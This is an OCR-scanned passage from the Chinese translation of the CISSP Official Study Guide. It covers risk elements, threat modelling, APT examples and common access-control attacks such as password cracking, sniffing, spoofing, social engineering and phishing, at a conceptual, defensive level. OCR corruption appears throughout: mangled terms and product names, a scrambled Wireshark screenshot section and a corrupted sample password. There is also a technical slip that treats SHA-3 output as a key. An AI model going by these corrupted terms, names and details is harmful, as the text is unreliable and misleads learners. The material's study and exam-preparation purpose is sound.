在它们发生时进行识别 ， 并适当地回应。 以下部分对风险元素进行了 '快速回顾， 并说明 了一些常见
的访问控制攻击。
虽然这部分侧重访问控制攻击， 但重要的是意识到有许多其他类型的攻击， 这在其他章节中有
介绍 。 例如， 第6章 " 密码学与对称加密算法 " 中 包括各种密码分析攻击。
骇客、 黑客和攻击者
骇客拍的是那些心怀恶意之人， 他们有意对个人或系统进行攻击。 他们企图破坏系统的安全性
并加以利用 。 他们的一贯动机是内 心的贪婪、 对权利的欲望以及博取他人的认可。 他们的行为会导
致他人财产的损失(生口数据和知识产权)、 系统瘫痪、 安全受到威胁、 受到 负 面 的社会舆论、 市场份
额 减 少 、 利润率降低甚至丧失生产 力 。 在很多 情况下 ， 骇客简 直就是罪犯。
在 20 世纪 70 和 80 年代， 黑客被认为是科技的热心家， 并非心怀恶意。 然而， 现在媒体却用 黑
客这一术语来代替骇客。 随着被人们 广 泛使用 ， 黑客的 定义也随之改变 。
为 了 避免读者在本书 中 产生混淆， 我们使用 攻击者这一术语来表示心怀恶意的入侵者。 1到可企
图 利用 系 统的漏洞 泄露机密 、 危 害 系统的完整性和/或可用 性的行为 ， 都可视为 一次攻击。
1 4.2.1 风险元素
第 2 章 "人员 安全和风险管理概念" 涉及风险以及风险管理的更深层面， 但值得重申 的是， 一
些术语只适合用在访问控制攻击的情境下。 风险指的是某种潜在的威胁将利用某种漏洞造成某种损
失(如对某项资产的损害)的可能性。 威胁指的是某个事件发生的趋势， 可能会产生某种不 良的后果。
这不仅包括罪犯或其他攻击者进行的潜在攻击行为 ， 还包括 自 然灾害， 如洪灾或地震等， 以及员 工
的意外举动。 漏洞指的是任何类型的脆弱性。 这种脆弱性可能是因为硬件或软件的缺陷或限制 ， 或
是 因为 安全控制的缺失， 如没有在 电脑上安装杀毒软件。
风险管理指的是通过执行控制和应对措施试图减少或消除漏洞或减少潜在威胁的影响。 消除风
险是不可能的， 或者说是不可取的 。 相反， 组织应将重点放在减少那些对其有极大损害的风险上。
需要注意的是， 风险管理过程初期的重要步骤如下 :
• 识别资产
• 识别威胁
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CISSP 官方学习指南(第 7 版)
• 识别漏洞
1 . 识别资产
资产评估指的是确定各种资产的实际价值并对它们进行 目 标优选。 风险管理就是将重点放在价
值最高的资产上， 并执行控制来减少风险对这些资产的影响 。
资产的价值不仅仅是其购买价。 例如， 一台网络服务器一天能够产生一万美金的销售额， 这个
价格远高于仅仅购买硬件和软件的价格。 假如这台服务器失效， 将导致直接销售额的亏损， 也将失
去客户对商家的信任。
注意 :
资产 的 实 际价值受许多 元形 因 素的影响 ， 客户 对商家的信任使是其 中 之一。
了 解资产的价值也有助于成本效益分析， 这样可 以确定不同类型安全控制的成本效益。 例如，
如果资产价值成千上万美元， 那么花费一百美元来购买有效的安全控制是合理的。 相反， 如果要花
费几百美金去防止偷窃一个价值十美金的 鼠标， 就是一笔很不划算的支出。 通常情况下 ， 组织反而
会愿意接受低价值资产的相关风险。
在发生访问控制攻击的情况下， 评估数据的价值很重要 。 例如， 如果攻击者要危害一台数据库
服务器， 下载内含隐私数据和信用卡信息的客户 数据库， 则意味着这家公司将损失惨重。 具体损失
并不总是那么容易估量的， 不过对索尼公司 的攻击事件可以提供部分视角(参见 " 索尼公司 的数据泄
漏事件 " ) 。
专家估计， 仅仅是索尼游戏机就造成 1 .7 1 亿美金的直接损失。 有极大的可能是， 许多游戏玩家
已经选择放弃索尼游戏机， 并/或购买别的与之相匹敌的产品。 那么， 这些损失是不是可以防止呢?
许多信息安全专家的回答是肯定的。 因为这些攻击事件及其在 201 1 年首次网络攻击事件发生数月 前
解雇大量信息 安全专家 ， 所以在 20 1 1 年的黑帽会议中 ， 索尼被提名 为 " 前所未有的失败"。
这可能仅仅只是因为索尼之前没有识别其数据库中那些数据的价值。 然而， 在 2011 年的攻击事
件之后， 索尼有了可以计量的数据 ， 运用这些数据可以估量损失的费用 。 有效的资产评估能够在这
样 的重大损失发生之前确定数据的价值。
@ 真实场景
索尼公司的数据泄露事件
索尼公司 在 20 1 1 年遭受 了 多 次数据泄露， 然后在 2014 年再次遭遇。 这些事件严重损害 了 索尼
公司 的形 象。
发生于 201 1 年4月的大量数据外泄导致攻击者窃取了 索尼游戏站点 7700 万的客户 账户数据.
201 1 年 5 月 ， 袭击者盗用 了 2450 万索尼在线娱乐账户 。 201 1 年6月， 对索尼影业的攻击盗取了 1 00
多 万个用 户 账户 ， 袭击者夸口 说他们即司 羊 SQL )主入式攻击来检索数据(要获取更多 有关注入式攻
击的信息， 可参阅第 2 1 章 "恶意代码和应用程序 攻击" ). 20 1 1 年 10月， 索尼锁了近 100 000 个游
戏站点账户 ， 并给用 户 发送邮件， 表示攻击者窃取了用户 的认证信息。 索尼J支励这些用 户 "选择独
特、 难猎的 密码"， 暗示事件因 客户 的辛苦误导致。 具有讽刺意味的是， 索尼可能是正确的， 因 为许多
用 户 在多 个网络账户 上使用 的都是同 一个密码。 然而， 最近接二连三的 袭击发生后， 用 户 对索尼的
建议持怀疑态度。
第 14 章 控制和监控访问
攻击者在 2014 年 1 1 月 和 12 月 启动了另一个攻击， 成功击渍整个网络达好几天。 攻击者获得超
过 1 00 TB 的数据 ， 并发布 了 一些有害 的信息(如关键内 部 邮件)。
2 识别威胁
识别资产并确定优先级后， 组织试图识别对有价值系统的任何可能威胁。 威胁建模指的是识别、
理解和分类潜在威胁的过程 。 目 标之一是识别对这些系统的威胁潜在列表和分析威胁。
提示 :
攻击者并不是唯一的威胁。 威胁可以是 自 然事务， 比如洪水或地震， 也可能是偶然的 ， 比如用
户 不小心删除一个文件。 然而， 考虑访问控制 时 ， 威胁主要是未经投权的个人(通常是攻击者)对资
源 的 未经才是权的访 问 。
威胁建模并不意味着是一个单独的事件。 相反， 组织在系统设计过程的早期开始威胁建模并在
其整个生命周期 中进行持续是很常见的。 例如， 微软利用其安全开发生命周期过程来考虑和实施产
品开发每个阶段的安全。 这支持了箴言 "设计安全、 默认安全、 部署和沟通安全" (也称为 SD3 + C)。
微软在这个过程中 有两个主要 目 标:
• 减少安全相关的设计和编码缺陷的数量
• 减少剩余缺陷 的严重程度
换句话说， 试图减少漏洞 ， 以及减少任何依然存在的漏洞的影响 。 总 的结 果是减少风险。
3. 威胁建模方法
因为存在几乎无限可能的威胁， 所以重要的是要使用结构化的方法来识别相关的威胁。 例如，
一些组织使用 以 下一种或多种方法:
专注资产 这种方法使用资产估值结果， 并试图识别对有价值资产的威胁。 人员评估特定资产
来确定他们对攻击的敏感性。 如果资产托管数据， 人员评估访问控制来识别可以绕过身份认证或授
权机制 的威胁 。
专注攻击者 一些组织识别潜在的攻击者， 并基于攻击者的 目标识别他们代表的威胁。 例如，
政府可以识别潜在的攻击者， 并识别攻击者想要做什么 。 他们可以使用这些知识来识别和保护相关
资产。 这种方法面临的一个挑战是， 之前可能没有被认为是一种威胁的新的攻击者会出现。 例如，
索尼公司 可能没有考虑 2014 年袭击之前来 自 他国 政府 的攻击。
专注软件 如果组织开发软件， 那么可以考虑针对软件的潜在威胁。 几年前， 组织一般不开发
自 己的软件， 而现在这很正常。 具体地说， 大多数组织都有网络， 许多还创建自 己的 网站。 花哨 的
网站虽能吸引更多的流量， 但也需要更复杂的编程并且会受到额外的威胁。 第 2 1 章讲的是应用程序
攻击和 Web 应用程序安全性 。
如果组织将攻击者确定为潜在的威胁(而不是 自 然威胁)， 威胁建模尝试确定攻击者的 目标。 有
些攻击者可能想禁用系统， 而其他攻击者可能想要窃取数据 ， 每个目 标都代表一个单独的威胁。 一
旦组织识别 了 这些威胁， 就会基于标的资产的优先级进行分类。
4. 高级持续性威胁
任何威胁模型都应该考虑己知威胁的存在， 一种相对较新的威胁是高级持续性威胁{APT)o A盯
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CISSP 官方学 习指南(第 7 版)
指的是一起工作的一群攻击者， 高度积极、 熟练、 有耐心。 他们有先进的知识和各种技能， 能够检
测井利用漏洞。 他们持之以恒， 并专注于利用一个或多俨持定 目 标而不是任何机会 目 标。 各国政府
通常会投资 APT 。 然而 ， 一些有组织的犯罪团 伙也会投资和经营 APT。
过去， 要让你的网络安全， 你只需要比其他网络安全。 攻击者会攻击简单的 目 标， 而避免安全
网络。 你可能还记得这句老话 "被灰熊追赶时需要跑多'快? " 答案是 " 只要比你那一组人中跑得最
慢的人快一点就可 以。"
然而， 如果你拿着一罐蜂蜜， 灰熊可能会忽视其他人， 而只注意你。 这就是 A町 要做的 ， 通过
想在 目 标那里获得的东西来对具体 目 标进行追击。 这里有几个例子， 安全专家将其归因于 APT:
美 国 国 防部 2008 年， 一名军事成员将受感染的 U 盘插入电脑， 攻击便开始了。 恶意软件传播
到高度机密网络， 在 14 个月 的时间定期通过互联网发送数据包。 Operation Buckshot Yankee 最后在
2009 年根除了 此恶意软件 。
法国政府 20 1 1 年， 一次成功的鱼叉式网络钓鱼攻击使得攻击者控制了 法国商务部的 150 台 电
脑。 攻击者针对法国商务部特定的 电子邮件地址井骗取了源地址， 标明邮件来自商务部的其他员工 。
这些邮件包含恶意附件。 用户打开附件后， 攻击者可以在用户系统上创建后门， 并远程访问它们 。
攻击者在长达三个多月 的时间里都从这些后 门 获取文件。
RSA 201 1 年3月， 攻击者使用社交工程电子邮件， 利用 Adobe Flash 的零日 漏洞 。 攻击者能
够窃取与 RSA 的 SecmID 令牌设备相关的信息。然后使用这些信息来欺诈承包商， 如 Lockheed Martin
公司和 L-3 通信公司等。
Stuxnet Stuxnet 是一个利用 了 多个零 日漏洞的蠕虫病毒， 它对伊朗核设施造成了 大量破坏 。
一些报告随后表示， Stuxnet 是由美国和以色列联合操作的， 名 为 Operation 01归lpic Games。 这是在
20 1 0 年发现的 。
428
有关 APT， 要记住的一个重点是， 它们可 以针对 任何公司 而不只 是政府。
5. 识别脆弱性
在识别有价值的资产和潜在威胁后 ， 组织将执行漏洞分析。 换句话说， 试图发现这些系统在潜
在威胁面前的弱点。 在访问控制的情境下， 漏洞分析试图识别不同访问控制机制的优缺点 ， 以及利
用 了弱点的潜在威胁。
脆弱性分析是一个持续的过程， 包括技术和管理措施 。 在较大的组织中， 可能会有特定的人把
脆弱性分析作为一项全职工作。 他们定期进行漏洞扫描， 寻找各种各样的漏洞并报告结果。 在规模
较小的组织中， 网络管理员可以定期运行脆弱性扫描 ， 如每周或每月 一次。
风险分析通常会包括脆弱性分析， 评价系统和环境的 己知威胁和漏洞， 然后就是利用漏洞的渗
透测试。
1 4.2.2 常见的访问控制攻击
访问控制攻击试图绕过访问控制方法。 第 1 3 章提到过， 访问控制始于识别和授权， 访 问控制攻
击往往试图窃取用户凭证。 攻击者窃取了用户凭证后， 就可以通过登录用户和访问用户 的资源进行
在线模拟攻击。 其他情况下 ， 访问控制可以绕过身份认证机制而只 窃取数据， 就像本章前面提到的
索尼攻击一样。
本书涵盖了 多种攻击， 下面将介绍一些与访 问 控制直接相 关的常见攻击。
第 14 章 控制和监控访问
1 . 访问聚合攻击
访问聚合是指收集多个非敏感信息块， 并将它们结合起来获得敏感信息。 换句话说， 一个人或
一个组织可 以 收集有关系统的 多个事实 ， 然后使用这些事实发动袭击。
侦察攻击是访问 聚合攻击， 它结合多种工具来识别系统的多个元素， 如 IP 地址、 开放端口 、 运
行服务、 操作系统等。 攻击者还对数据库进行聚合攻击。 第 20章"软件开发安全" 涵盖了 聚合攻击
和推理攻击， 间接允许使用 聚合和推理技术实现对数据的未授权访 问 。
结合深度防御 、 " 知其所需 " 和最小特权原则有助于防止聚合攻击。
2. 密码攻击
如第 1 章 中所述， 密码是最弱形式的认证。 如果攻击者成功发动密码攻击， 攻击者可以访问账
户 和授权给账户 的所有资源。 如果攻击者发现根或管理员密码， 攻击者可以访问任何其他账户及其
资源。 如果攻击者在戒备森严的环境中发现特权账号的密码， 环境的安全性就不能再被完全信任。
攻击者可以创建其他账户或后 门来访问系统。 组织可能不会接受风险， 而是选择重建整个系统。
强大的密码有助于防止密码攻击， 这种密码包括至少 8 个字符， 并至少有 4 个字符类型(大写字
母、 小写字母、 数字和特殊字符)中的三个。 随着密码破解者的本事越来越大， 有些人认为强密码必
须至少有 1 5 个字符， 尽管普通用户 很难相信。 安全专家通常知道怎样让密码变得强大， 而很多用户
不知道， 用 户使用一种字符类型的短密码是很常见的。 例如， 攻击者发布了他们从前面提到的一次
索尼攻击中盗取的账户 信息。
微软在开发安全方面的 最有价值专家 Troy Hlmt 分析 了 这些密码(www.troyhunt.coml20111
06lbrieιsony-passworιana1ysis.h恤1)。 分析表明 ， 用得最多的 1 0 个密码是 seinfe1d、 password、 wmner、
1 23456、 P呻1e、 sweeps、 contest、 princess、 maggIe 和 94520 攻击者可以使用一种常见的密码破解
工具在不超过几秒钟 的时间 内 发现这些密码。
注意 :
大多数安全专家知道他们不应该使用 简单的密码， 如 123456 这种。 然而， 安全专 家仍然有时会
忘记， 用 户 创 建这些 简单密码是因 为 他们 没有 意识到风险。 许 多 终端用 户 从安全培训 中 受益。
以下部分使用字典攻击、 暴力攻击、 彩虹表攻击和嗅探方法描述了 常见的密码。 有些攻击对于
网络账户来说是可能的 。 然而 ， 更常见的是， 攻击者窃取账户 数据库后离线破解密码。
字典攻击
字典攻击通过使用预定义数据库或常见预定义密码列表中所有可能的密码来发现密码。 换句话
说， 攻击者会从通常可以在字典中找到的单词数据库开始。 字典攻击数据库还包括经常用作密码的
字符组合， 但可能不会在字典中找到 。 例如， 可能会在许多密码破解字典中看到之前提到的在索尼
账户 数据库 中找到的密码列表。
此外， 字典攻击经常会扫描差别构建式密码。 差别构建式密码是之前用过的密码， 但仅有一个
字符不同。 例如， passwordl 是对 password 更改一个字符后的密码， 其他的 Password、 l password
和 passXword 也是。 攻击者在生成彩虹表时经常使用这种方法(在本章后面讨论)。
提示 :
有些人认为使用 外国 字词作为 密码不容易遭受字典攻击。 但是， 密码Z颇丰字典会包括外国 字词 ，
而 且通常也是这么 做的 。
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CISSP 官方学习指南(第 7 版)
暴力攻击
暴力攻击(又称蛮力攻击)试图通过系统尝试所有可能的宇母、 数字和符号组合来发现用户 账户
的密码。 攻击者通常不会手动输入这些， 而是借助程序， 可 以通过编程的方式尝试所有的组合。 混
合攻击一般是先进行字典攻击 ， 然后用差别构建式密码执行一种暴力攻击 。
密码越长、 越复杂， 暴力攻击耗时越长、 造价越高。 随着可能性的增加， 执行一次详尽攻击的
成本也在上升 。 换句话说， 密码越长越多 ， 包括的字符类型就越多 ， 对暴力攻击就越安全 。
密码和用户名存储在受保护系统的账户数据库文件中 。 然而 ， 密码不是作为纯文本存储， 系统
和应用程序通常会散列密码 ， 并只存储散列值。
当用户用散列 密码进行身份认证时 ， 会发生 以下三个步骤:
( 1) 用 户 输入凭据 ， 如用户名和密码。
(2) 用 户 的系统散列密码并发送散列到身份认证系统。
(3) 身份认证系统将这个散列与存储在密码数据库文件中 的散列进行比较。 如果匹配的话， 就
表示用户输入 了 正确的密码。
这提供了两个重要的保护。 密码不以明文在网络中传输， 因为它们容易遭受嗅探攻击。 密码数
据库不 以 明文存储密码， 因 为攻击者更容易 发现密码， 如果他们访问到密码数据库 的话。
然而， 密码攻击工具会寻找创建了和存储在账户数据库文件中的条 目相同的散列值的密码。 如
果成功了， 就可 以使用密码登录到账户 。
例如， 假设密码 IPassed 的存储散列值是 lA5C7G(尽管实际散列将会更长)。 暴力密码工具将会
猜到密码、 计算散列， 并将其与存储的散列值进行比较。 这也被称为比较分析。 当密码破解工具找
到一个匹配的散列值时， 就表明猜测的密码很可能就是原始密码。 在这种情况下， 该工具会破解出
密码 。
如果两个单独的密码创建了相同的散列 ， 就会导致碰撞 。 碰撞是不理想的 ， 在理想情况下碰撞
是不可能发生的， 但一些散列函数(如 MD5)不可能不遇到碰撞。 这就使攻击者创建了一个和存储在
账户数据库文件 中 的散列密码有相 同散列 的 不同密码。
根据现代计算机的进行速度和采用分布式计算的能力， 暴力攻击对一些强大的密码甚至都是成
功的。 实 际发现密码的时间取决于用于散列它们的算法和计算机的性能。
许多攻击者在暴力攻击中使用 图形处理单元(GPU) 。 一般来说， 许多 GPU 比 台式电脑中的大多
数 CPU 有更强的处理能力。 Blogger Vijay Devakumar 使用 旧 的基于 CPU 的解密工具 Cain & Abel 和
新的基于 GPU 的工具 ighash即u 来运行一些测试。 报道称， Cain & Abel 用 了 l 小时 30 分钟来追踪
一个 6 字符密码， 而 ighashgpu 破解相 同 的密码花了不到 4 秒时间。
提示 :
攻击者有足够的时间可以使用 离线的强力攻击发现任何密码. 然而， 更长的 密码导致更长的时
间 ， 这使得攻击者z颇丰它们 不可行。 例如， 一个使用 4 种字符类型 的 12 字符密码可能需要数千年的
时 间 来破解。
生日攻击
生 日攻击关注于寻找碰撞， 其名称来 自于一种称为生 日 悖论的统计现象 。 生 日悖论认为， 如果
把 23 个人关在一个房间 ， 那么任何两人同一天生 日 的可能性有 50%。 这不是指的同一年， 而是指
同样的月 份和日期， 如 3 月 30 日 。
第 14 章 控制和监控访问
闰年有2月 29 日 ， 一年有 366 天 。 如果有 367 人在一个房间里， 就会有 100%的机会获得至少
两个有相同生 日 的人。 将这个房间 的人数减少到 23 . 仍然有 50%的机会让任何两人有相同的生日。
这类似于发现具有相同散列的任何两个密码。 如果一个散列函数只能创造 366 个不同的散列，
那么攻击者(他只有 23 个散列样本)有 50%的机会发现两个密码有相同 的散列。 散列算法可以创建超
过 366 个不同的散列 ， 但关键是， 生日攻击方法不需要对所有可能的散列进行匹配。
从另一个角度来看， 想象你一个人在房间里， 你想寻找和你同一天出生的人。 在本例中 ， 你需
要房间 中有 253 人， 才能达到找到有相同生 日 的人 50%的概率 。 即使需要房间里有更多的人， 也不
需要房间 里有 366 人 以找到匹配。
同样， 一些工具有可能会提出另一个创建了与给定散列相同散列的密码 。 例如， 如果知道管理
员账户密码的散列是 l A5C7G. 一些工具可以识别一个将会创建相同散列 l A5C7G 的密码。 不一定
是相 同 的密码， 但如果可 以创建相 同 的散列 ， 就和原始密码一样有效。
可 以通过使用带有足够位数的散列算法(使碰撞变得在计算上不可能)和用盐(在 " 彩虹表攻击"
一节进行讨论)来降低生 日攻击的成功性。 曾 经有一段时间. MD5(使用 128 位)被认为是不受碰撞影
响的。 然而， 随着计算能力不断提高. MD5 并不是免碰撞的。 S队-3(安全散列算法版本 3 的简称)
可 以使用 多达 512 位的密钥， 并被认为能够防御生 日 攻击和碰撞， 至少现在是这样。 计算能力不断
提高， 所以在某种程度上. SHA-3 将被替换为另一个散列算法， 它用更长的散列和/或更强的密码学
方法创建散 列 。
彩虹表攻击
通过猜测 、 散列， 然后与有效的密码散列进行比较来寻找密码需要很长时间。 然而， 彩虹表可
以通过使用大型预先计算的散列数据库来减少时间。 攻击者猜测密码(用字典攻击或暴力攻击)、 对
其进行散列 ， 然后把猜到的密码和所猜到密码的散列放入彩虹表中 。
密码破译器可以将彩虹表中 的每个散列和被盗密码数据库文件的散列进行比较。 传统的密码破
解工具必须在对比散列之前猜测密码并对其进行散列 。 然而， 当使用彩虹表时， 密码破译器猜测和
计算散列不会花费任何时间 。 只是在找到匹配之前对散列进行比较。 这可以大大减少破解密码所花
费的时间 。
提示 :
许多 不 同 的彩虹表都是可以免费下载的。有着使用 4 种字符类型 的 14 字符密码的散列 的彩虹表
大约是 7.5 GB 大小 。 尽管下载需要花一些时间， 但攻击者愿意等待。 然而， 使用 1 5 个字符或更多
字符的 密码将击败大多 数彩虹表攻击。
许多系统一般通过 " 撒盐 " 密码来减少彩虹表攻击的有效性。 盐是一组随机位， 在散列前加到
密码中 。 加密方法在散列前就加入附加位， 使攻击者更难以使用彩虹表破解密码。 然而， 考虑到足
够的时间， 仍然可以使用暴力破解 "撤盐 " 密码。 将盐与长的、 复杂的密码结合确实会显著降低彩
虹表的有效性。
嗅探攻击
嗅探捕获通过网络发送的数据包， 以便对数据包进行分析。 嗅探器(也称为数据包分析器或协议
分析器)是一个软件 ， 通过网络捕获流量。 管理员使用 嗅探器来分析网络流量和排除故障。
当然， 攻击者也可 以使用嗅探器。 嗅探攻击(也称为窥探攻击或窃听攻击)在攻击者使用嗅探器
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CISSP 官方学 习指南(第 7 版)
捕获通过网络传播的信息时发生。 它们可以捕获和阅读任何在网络上以明文发送的数据， 包括密码。
W让巳shark 是一种广受欢迎的协议分析器 ， 可 以免费下载。 图 14.4 展示了具有相对较小捕获量
内容的 Wireshar
mfilF-..:.....川11..71"1.'1.11…!fJ.TIl\Jll回归(;;;:I';'li._1I:�.Ial'lI1:而
k， 并演示 了 攻击者如何捕获和读取 以明文在网络上发送的数据。
"国囚
一一同恼 I • ε晴四町、 . 佳g 帽却 一1 ，，，， ，..，.，. 1阳...... I肉回 | "'-"'T"""，，，古、...--...-.........-......... ...........".................. _ .. .�� .._�唱---._.._�_._.-目-_._-..-户'，1--_...._..-..--
250 U.492704 192. 168..1.130 192.168.1. 141 5MB Trans2 Response， FIND_FIRST2. Files: CISSP Secret5.t束E
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2日 U 刊S095 19Z.168.1. 130 192.168.1.142 型B NT creat.e AAdx ReSponse. 1=10: Ox271e
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255 11.496351 192.168. 1.1.42 192.168.1.130 5f叫. Tγans2 Request . QUERY_FSJNFO， Query FS volu帽e Inf。
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如一面 有再iãi雨 r' ';; 布面环 ted:O�: 一一一一一→一一 闸' 阻幅，，----"_牛
图 14.4 Wireshark 捕获
顶部窗格中显示了选择的包 260 ， 可 以在底部窗格中看到这个包的内容。 里面包括文本
USer:DarriIGibson; PasswordIP@$$edCi$仰。 如果在顶部窗格中看到第一个数据包(包号 250)， 可 以
看到打开文件的名称是 CISSP Secrets. txt。
可有效预防嗅探工具的 几项技术如下 :
• 对通过网络发送的所有敏感数据(包括密码)进行加密 。 这样攻击者就不能通过嗅探器读取加
密文件。 例如， Kerberos 通过加密票据来防止攻击， 攻击者不能通过嗅探器读取票据的内容。
• 当加密无效时， 使用一次性密码。 一次性密码可以成功阻止嗅探攻击， 因 为该密码只能使
用一次。 即 使攻击者获取了一次性密码 ， 也没有用 。
， 使用物理安全保护网络设备。 通过控制路由器和交换机的物理访问来阻止攻击者在这些设
备上安装嗅探程序。
• 通过监控网络来阻止嗅探器。 入侵检测系统能监控网络嗅探器， 如若发现， 便会发出警报。
3. 电子欺骗攻击
电子欺骗(伪装)是指假装成某物或某人等。 电子欺骗的种类很多。 例如， 攻击者可以使用他人
的凭证进入某建筑物或访问 盯 系统。 一些应用程序能模拟合法的登录界面。 攻击程序可以创建一个
和操作系统极其类似的登录界面。 当用户输入凭证时， 虚假的应用程序就会获取用户 的凭证， 随后
发起攻击。 一些钓鱼攻击(稍后 将在本章进行描述)可 以使用虚假网站进行模拟。
在 lP 欺骗攻击中 ， 攻击者使用虚假的 E 地址代替合法的源 IP 地址来隐藏身份或模拟真实系统。
在访问控制攻击中使用 的其他钓鱼软件类型包括邮件欺骗和 电话欺骗 。
邮件欺骗 制作者通常伪装邮件地址， 形成邮件来 自其他来源的假象。 钓鱼攻击经常通过此种
方式欺骗用户 ， 让他们认为邮件来 自 可靠的来源。 但回件地址可能完全不同， 只有当用户真正回复
时 ， 邮件程序才会显示地址 。 但是， 此时用户却常常忽略这一问题。
第 14 章 控制和监控访问
电话欺骗 来电显示服务使得用户 可以识别任何来电号码。 电话欺骗可使来电者更改电话号码，
这在网络电话(VoIP)系统中是一种常见技术。 近来攻击者常用 的一项技术是使用与被呼叫者同一地
区 的号码代替真正的呼叫号码 ， 使之看起来像本地呼叫 。
4. 社会工程学攻击
有时， 直接询问是得到别人密码的最简单方式， 这也是社会工程学常用的一种方法。 社会工程
学陷阱是指攻击者通过欺骗(包括虚假奉承、 假装或行为默许)尝试获取他人信任的行为。 攻击者试
图诱骗人们透露不愿透露的信息或执行他们不会执行的行为。 通常社会工程学的 目 的是获得进入 IT
基础设施或物理设施的权限。
例如， 老练的社会工程学攻击人员可使未受过专业训练的咨询处工作人员相信， 他们是高层管
理相关人员 ， 目 前在外地出差忘记了 密码 。 如果员工信以为真， 就会重置密码并将新密码提供给攻
击者。 有时， 社会工程学攻击人员 诱骗普通用户暴露他们 自 己的密码， 为攻击者提供账户访问权限。
员 工学 习 社会工程学常用诡计可有效减少此类攻击事件的发生。
社会工程学攻击通过电话、 私人和邮件形式发生。 不法分子通常冒充技术维修人员 ， 例如， 冒
充电话维修技术员来获取物理访问。 如果他们获得访问 网络基础设施的权限， 他们就可以安装嗅探
器盗取敏感数据 。 在提供访 问权限之前， 核 实访客身份可降低此类模拟攻击事件的发生 。
有时， 社会工程学只 是试图偷瞄电子屏幕上的信息或观察用户敲击键盘。 这就是所谓的肩窥。
屏幕过滤器可以限制攻击者的视线 。 另外， 密码隐藏(用其他宇符(例如， 星号)来代替实际密码字符)
常用于防止肩窥发生。
5. 网络钓鱼
网络钓鱼是一种社交工程陷阱， 它试图诱骗用户 ， 使之掉以轻心， 从而打开附件或链接。 它通
常试图伪装成合法公司来获取用户凭证或个人认证信息， 比如用户 名 、 密码或信用卡信息。 攻击者
随机发送垃圾钓鱼邮件， 他们对收件人无从知晓， 但希望得到用户 回复。 钓鱼邮件告知用户虚假信
息 ， 称用户如果不采取行动 ， 公司将锁定其账户 。 例如， 邮件可能显示公司发现其账户存在可疑活
动 ， 如果该用户不认证用户名和密码 ， 将锁定其账户 。
简单的钓鱼攻击告知用 户 出了问题， 要求收件人使用用户名、 密码和其他信息回复电子邮件。
电子邮件的发件地址通常伪装成合法地址， 但是用户回件地址由攻击者操控。 复杂的钓鱼攻击包含
貌似合法的虚假网站链接。 例如， 如果钓鱼邮件描述 PayPal 账户 出了问题 ， 虚假网站就会模拟 PayPal
网站。 如果用户 输入凭证， 网站会盗取信息并将信息发送给攻击者。
有时， 发送钓鱼邮件的 目 的是在用户系统上安装恶意软件。 信息中可能包含被感染病毒的文件，
例如附件， 并且诱导用户将其打开。 邮件可能包括一个网站链接， 使得在用户不知情的情况下进行
偷渡式下载。
注意 :
偷渡式下载是指当用户浏览网 站时 ， 在用 户 不知情的情况下 自 动安装的一种恶意软件。 偷i度式
下载利用 了 浏 览 器或插件程序 的漏洞。
一些恶意网站试图诱骗用户下载和安装软件。 例如， 近些年颇受攻击者追捧的勒索软件。 攻击
者通过恶意附件和偷渡式下载进行发送， 鼓励用户下载井安装。 密码储物柜(CryptoLocker)是其变革中
之一。 一旦安装， 就会对用户硬盘驱动中的所有数据进行加密。 它会对用户造成威胁 ， 如果不支付
433
434
CISSP 官方学 习指南(第 7 版)
赎金(例如， 300 美元或更多)， 攻击者将会删除加密密钥， 用户数据将永远消失。 即使警察在 201 4
年破译了网络运行的源密码储物柜勒索软件 ， 但是其变种不久就死灰复燃 。
个人可通过 以 下简 单规则来规避网络钓鱼等常见风险的发生 :
• 对未知邮件或匿名 邮件保持怀疑态度。
• 千万不要打开未知邮件的附件。
• 千万不要通过邮件分享敏感信息 。
• 对邮件中 的任何链接保持怀疑态度 。
钓鱼攻击有几种不 同 的变体 ， 包括鱼叉式钓鱼、 捕鲸和语音钓鱼。
鱼叉式钓鱼
鱼叉式钓鱼是一种针对特定用户组的钓鱼方式， 如某特定组织的员工。 可能来自组织 内 的 同事
或合作者 ， 也可能 由 外部来源引发。
例如， 攻击者会利用 Adobe PDF 文件中的零日 漏洞嵌入恶意代码。 如果用户打开此文件， 用 户
系统就会被安装恶意软件。 攻击者命名 PDF 文件为 FY1 2. ..合同指南， 并在电子邮件中叙述到这是
在提供合同签约的最新信息。 它们会向政府的知名承包商， 如洛克希德 · 马丁公司 的特定电邮地址
发送电子邮件。 如有任何承包商打开此类文件， 就会在其系统上安装恶意软件， 攻击者可以远程访
问 这些受感染的系统。
注意 :
零 日 漏洞的存在是因 为应用程序供应商还不知道或者还没有发布漏洞补丁。 FY1 2…合同指南利
用 PDF文件 中 的漏洞进行攻击。 尽管Adobd}补了这个漏洞， 但攻击者还会发现新的应用程序漏洞。
捕鲸
捕鲸是钓鱼的一种形式， 目 标是高层人员或高管， 比如公司 的 CEO 和总裁。 比较著名 的一次
捕鲸攻击了 大约 20 000 个目标， 多是企业资深高管的电子邮件， 邮件标注了 每个收件人的名字并声
明他们要被法院传讯。 它还包含了一个链接， 可 以获取关于传讯的更多信息。 如果执行者单击链接，
网站就会弹 出一条消息 ， 表示需要安装一个浏览器插件才能读取文件。
同 意安装插件的高管实际上是安装了一款恶意软件， 这款软件会记录他们的键盘输入以获取他
们浏览不同 网站的登录凭证。 这款软件还能让攻击者远程访问高管的系统， 允许攻击者安装其他的
恶意软件 ， 或读取系统上的所有数据 。
语音钓鱼
攻击者除了主要通过电子邮件发起网络钓鱼攻击外 ， 他们还会使用其他的手段欺骗用户 ， 如即
时通信(1M)和网络电话(VoIP)。
语音钓鱼也是钓鱼的一种变体形式， 使用的是电话系统或 VoIP。 常见的攻击方式是给用户打自
动 电话， 向用户解释关于信用卡账户 的相关 问题， 鼓动用户进行信息认证或确认， 如信用卡号、 有
效期和卡背面的安全码。 语音钓鱼攻击通常会把来电显示号码模拟成来自 有效的银行或金融组织。
智 能卡攻击
智能卡与密码相比， 身份认证效果更好， 特别是在把它们与另外一种认证因素结合使用时， 比
如个人识别号码(P时)。 然而， 智能卡也易受攻击。 旁路攻击是一种被动的、 非侵入性的攻击， 目 的
是观察设备操作。 当攻击成功后， 攻击者能够得到有价值的信息 ， 包括信用卡信息， 如加密密钥。
第 14 章 控制和监控访问
智能卡包含一个微处理器， 但它没有内功率。 相反， 当用户将卡插入到读卡器中时， 读卡器会
向 卡片进行供电。 读卡器有一个电磁线圈 ， 这个线圈能激发电子卡片。 这为智能卡传输数据提供了
足够的 电力 。
旁路攻击会分析发送给读卡器的信息。 有时， 它们可以使用 电力监控攻击或微分功率分析攻击
来测量芯片的功耗， 以提取信息。 在时序攻击中 ， 它们可以监控处理时间 ， 然后根据不同计算需要
